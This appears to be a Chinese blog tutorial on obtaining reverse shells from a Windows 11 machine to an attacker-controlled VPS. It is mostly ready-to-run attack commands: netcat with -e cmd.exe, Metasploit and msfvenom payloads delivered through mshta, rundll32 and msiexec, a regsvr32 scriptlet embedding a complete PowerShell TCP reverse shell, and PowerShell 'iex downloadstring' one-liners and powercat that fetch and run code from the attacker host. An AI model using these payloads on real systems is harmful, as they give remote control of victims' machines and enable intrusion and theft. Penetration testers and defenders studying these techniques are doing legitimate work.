Windows反弹Shell

1.简介

正向shell:         控制端主动发起连接请求去连接被控制端,中间网络链路不存在阻碍。

反向shell(反弹shell)︰  被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。

靶机:win11

攻击机:vps

2.方法

(1) nc     

确保靶机已经有netcat;

攻击机开启监听:nc -lvvp 9090

靶机端运行: nc.exe  攻击机IP 9090 -e cmd.exe

若想反弹  powershell.exe

靶机端运行: nc.exe  攻击机IP 9090 -e powershell.exe

        

上线成功。

(2)mshta

Mshta.exe是用于负责解释运行 HTA(HTML应用程序)文件的windows oS实用程序。可以运行JavaScript或VBScript的HTML文件。


生成hta后门。

VPS  安装  Metasploit渗透框架

curl https://gitee.com/yijingsec/metasploit-omnibus/raw/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall

msfconsole  运行hta文件

攻击机运行

启动   msfconsole

search  hta_server
use 0
options
设置64位的后门
set payload windows/x64/meterpreter/reverse_tcp
set lhost vps_ip

set lport 9090
set target 1
run -j

靶机运行

mshta http://vps_ip:8080/l9URjD.hta

hta_server 是一个模块;在模块运行时候就开启监听了

9090端口用来接收;默认在8080端口提供文件上传

这种情况属于反弹shell 但不是shell 而是metaprete

现在使用hta应用进行反弹shell

vps 生成1.hta文件

msfvenom -p windows/x64/shell_reverse_tcp lhost=vps_ip lport=9090 -f hta-psh -o 1.hta

python3 -m http.server    # 将1.hta文件放在8000端口提供下载

开启9090监听
nc -lvvp 9090   用于接收反弹shell

靶机执行 

mshta http://vps_ip:8000/1.hta

hta的原理

其实本质上还是powershell hta将powershell封装在hta文件

(3)rundll32 ( dll +nc )

Rundll32.exe与Windows操作系统相关,它允许调用从DLL导出的函数(16位或32位),并将其存个在适当的内存库中。

通过Msfvenom生成反弹shell的dll发起Rundll32攻击
 

msfvenom生成dll执行

vps下载   impacket

git clone https://github.com/fortra/impacket.git
 

(4)regsvr32 (sct 反弹shell) 注册表服务

<?XML version="1.0"?>
<scriptlet>
<registration progid="PoC" classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
    <![CDATA[
            var r = new ActiveXObject("WScript.Shell").Run('powershell -w Hidden -c "$client = New-Object System.Net.Sockets.TCPClient(\'vps_ip\',10000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"');

    ]]>
</script>
</registration>
</scriptlet>

靶机保存上面这个文件名字为 cmd.sct,注意ip 

vps nc -lvvp 10000

靶机运行

regsvr32.exe /n /s /u /i:cmd.sct scrobj.dll

还可以进行http服务的进行反弹shell

cmd.sct会要上传到vps上。

攻击机

python3 -m http.server 8080
nc -lvvp 10000
 

靶机运行

>regsvr32.exe /n /s /u /i:http://ip:8080/cmd.sct scrobj.dll

(5) powershell 直接进行反弹shell

生成power shell脚本

攻击机执行

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=vpsip  lport=9091 -f psh -o shell.ps1

 nc -lvvp 9091
python3 -m http.server
靶机执行

powershell.exe -c "iex(new-object system.net.webclient).downloadstring('http://vpsip:8000/shell.ps1');shell.ps1"

如果执行

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=vpsip  lport=9090 -f psh-reflection -o shell.ps1

shell.ps1

 nc -lvvp 9090
python3 -m http.server

靶机执行

powershell.exe -c "iex(new-object system.net.webclient).downloadstring('http://vpsip:8000/shell.ps1')"

(6)powershell 加载 powercat

Powercat是PowerShell本地后门侦听器和反向shell工具,也称为修改版本的netcat,因为它集成支持经过编码的有效载荷。
下载powercat

git clone https://gitee.com/yijingsec/powercat.git

在powercat目录下

 python3 -m http.server
nc -lvvp 9090
 

靶机执行

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://vpsip:8080/powercat.ps1');powercat -c vpsip -p 9090 -e cmd"

(7)msiexec

msfvenom -p windows/x64/shell_reverse_tcp lhost=vpsip  lport=9090 -f msi -o  9090.msi
 python3 -m http.server
nc -lvvp 9090

靶机

msiexec /q /i http://vpsip:8080/9090.msi

  • 18
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Windows系统中,反弹shell是一种常见的攻击技术,用于获取对目标机器的远程访问权限。有几种常见的方法可以实现Windows反弹shell。 一种方法是使用Metasploit框架。首先,使用msfvenom生成一个powershell类型的木马,然后开启监听端口。目标机在命令提示符下执行生成的powershell脚本,即可实现反弹shell。需要注意的是,有时由于防火墙的原因,控制可能会不稳定。\[1\] 另一种方法是使用nc(netcat)工具进行反弹。通过nc反弹得到的shell可能不是一个完全交互的shell,某些命令可能无效。相比之下,通过Python脚本得到的shell可以实现对被控制主机的任意操作。\[2\] 此外,还有一些基于PowerShell的攻击框架,如Nishang,它集合了一些PowerShell攻击脚本和有效载荷,可用于反弹TCP/UDP/HTTP/HTTPS/ICMP等类型的shell。\[3\] 总结起来,Windows反弹shell的方法包括使用Metasploit框架、nc工具以及基于PowerShell的攻击框架。具体选择哪种方法取决于实际需求和环境。 #### 引用[.reference_title] - *1* *2* [Windows反弹shell的方式](https://blog.csdn.net/ws1813004226/article/details/117248359)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [Windows反弹shell的方法](https://blog.csdn.net/qq_39101049/article/details/96191861)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值